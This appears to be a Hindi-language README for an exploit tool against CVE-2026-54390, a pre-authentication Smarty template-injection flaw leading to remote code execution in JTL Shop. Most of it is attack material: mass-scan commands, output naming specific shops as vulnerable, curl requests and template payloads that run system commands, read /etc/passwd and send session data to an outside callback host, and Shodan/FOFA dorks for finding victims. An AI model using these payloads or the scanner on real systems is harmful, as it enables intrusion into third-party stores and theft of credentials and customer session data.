
CVE-2026-54390 — JTL Shop Smarty SSTI RCE | fetch('string:' . ) के माध्यम से प्री-ऑथ टेम्पलेट इंजेक्शन | 5.2.0-5.7.1
CVE-2026-54390 एक गंभीर (CVSS 9.8) बिना प्रमाणीकरण का सर्वर-साइड टेम्पलेट इंजेक्शन है JTL Shop 5.2.0–5.7.1 में।
SmartyRenderer::renderTemplate() विधि ईमेल विषय पंक्तियों को $smarty->fetch('string:' . $subject) में पास करती है — उन्हें Smarty टेम्पलेट के रूप में रेंडर करती है। उपयोगकर्ता संपर्क फ़ॉर्म फ़ील्ड parseSubject() में #var# रिज़ॉल्यूशन के माध्यम से ईमेल विषय तक पहुँचते हैं, फिर fetch() द्वारा पुनः मूल्यांकन किया जाता है।
Text::filterXSS() केवल HTML टैग हटाता है — { और } पार हो जाते हैं। पंजीकृत Smarty मॉडिफायर्स में file_get_contents और unserialize शामिल हैं।
| JTL Shop | स्थिति |
|---|---|
| < 5.2.0 | प्रभावित नहीं |
| 5.2.0 – 5.3.x | असुरक्षित (क्रेडेंशियल चोरी) |
| 5.4.0 – 5.7.1 | असुरक्षित (पूर्ण RCE) |
| 5.5.4 / 5.6.2 / 5.7.2+ | पैच किया गया |
// includes/src/Mail/Renderer/SmartyRenderer.php line 63
$subject = $this->parseSubject($model->getSubject($languageID));
$template->setSubject($this->getSmarty()->fetch('string:' . $subject));
// ^^^^^^^^^^^^^^^^^^^^^
// Email subject rendered as Smarty template
1. User fills contact form → name/email/message → filterXSS()
2. filterXSS only strips HTML — {system()} passes through
3. Email subject template: "Neue Anfrage von #Kunde.vorname#"
4. parseSubject() resolves #Kunde.vorname# → {system('id')}
5. fetch('string:Neue Anfrage von {system(\'id\')}') → EXECUTES
6. Email sent with subject: "Neue Anfrage von uid=33(www-data)..."
// PluginCollection.php — available for RCE
'unserialize', 'file_get_contents', 'file_exists', 'class_exists'
git clone https://github.com/shinthink/CVE-2026-54390.git
cd CVE-2026-54390
pip install -r requirements.txt
# Single target
python cve_2026_54390.py -t target.com
# Mass scan
python cve_2026_54390.py -f jtl-targets.txt -o vuln.txt
# SSTI probe via contact form
python cve_2026_54390.py -t target.com --exploit --debug
-t, --target एकल लक्ष्य (डोमेन या IP)
-f, --file लक्ष्य सूची, प्रति पंक्ति एक
-o, --output असुरक्षित लक्ष्य सहेजें
--threads कार्यकर्ता (डिफ़ॉल्ट: 20)
--exploit संपर्क फ़ॉर्म के माध्यम से SSTI प्रोब सबमिट करें
--debug प्रत्येक HTTP अनुरोध दिखाएँ
-v, --verbose विस्तृत आउटपुट
$ python cve_2026_54390.py -t jtl-shop.de --debug
JTL Shop Smarty SSTI | CVE-2026-54390
[jtl-shop.de] JTL Shop v5.7.0
[jtl-shop.de] [+] JTL Shop v5.7.0
[jtl-shop.de] contact form: /Kontakt | subjects:5
Host : jtl-shop.de
JTL Shop : YES v5.7.0
Contact : YES
Form path : /Kontakt
Subjects : 5 available
[!] business.trustedshops.ch 1.6s v5.5.2 form:/Kontakt
[!] bmg-moebel.de 5.3s v5.7.0 form:/Kontakt
[100/5600] 1% | JTL:23 Vuln:12
चरण 1 — संपर्क फ़ॉर्म + टोकन खोजें
curl -sk 'https://target.com/Kontakt' | grep -oP 'name="jtl_token"[^>]*value="\K[^"]+'
चरण 2 — SSTI प्रोब सबमिट करें
curl -sk -X POST 'https://target.com/Kontakt' \
-d 'kontakt=1' -d 'subject=1' \
-d 'nachricht={7*7}' \
-d 'vorname={7*7}' \
-d 'nachname={7*7}' \
-d '[email protected]'
चरण 3 — फ़ाइलें पढ़ें
{{"/etc/passwd"|file_get_contents}}
चरण 4 — OOB एक्सफ़िल
{{"http://callback.com/?s="|file_get_contents|cat:$smarty.session|replace_delim:":"}}
FOFA: body="jtl" && body="kontakt"
Shodan: http.html:"jtl" http.html:"Kontakt"
केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए। लेखक दुरुपयोग के लिए कोई दायित्व नहीं लेते हैं।
| संसाधन |
|---|
JTL-Software या Sansec से संबद्ध नहीं है।
| लिंक |
|---|
| Sansec अनुसंधान | sansec.io/research/jtl-shop-ssti-rce |
| IONIX सलाहकार | ionix.io/threat-center/cve-2026-54390 |
| JTL फ़ोरम | forum.jtl-software.de |
| NVD | CVE-2026-54390 |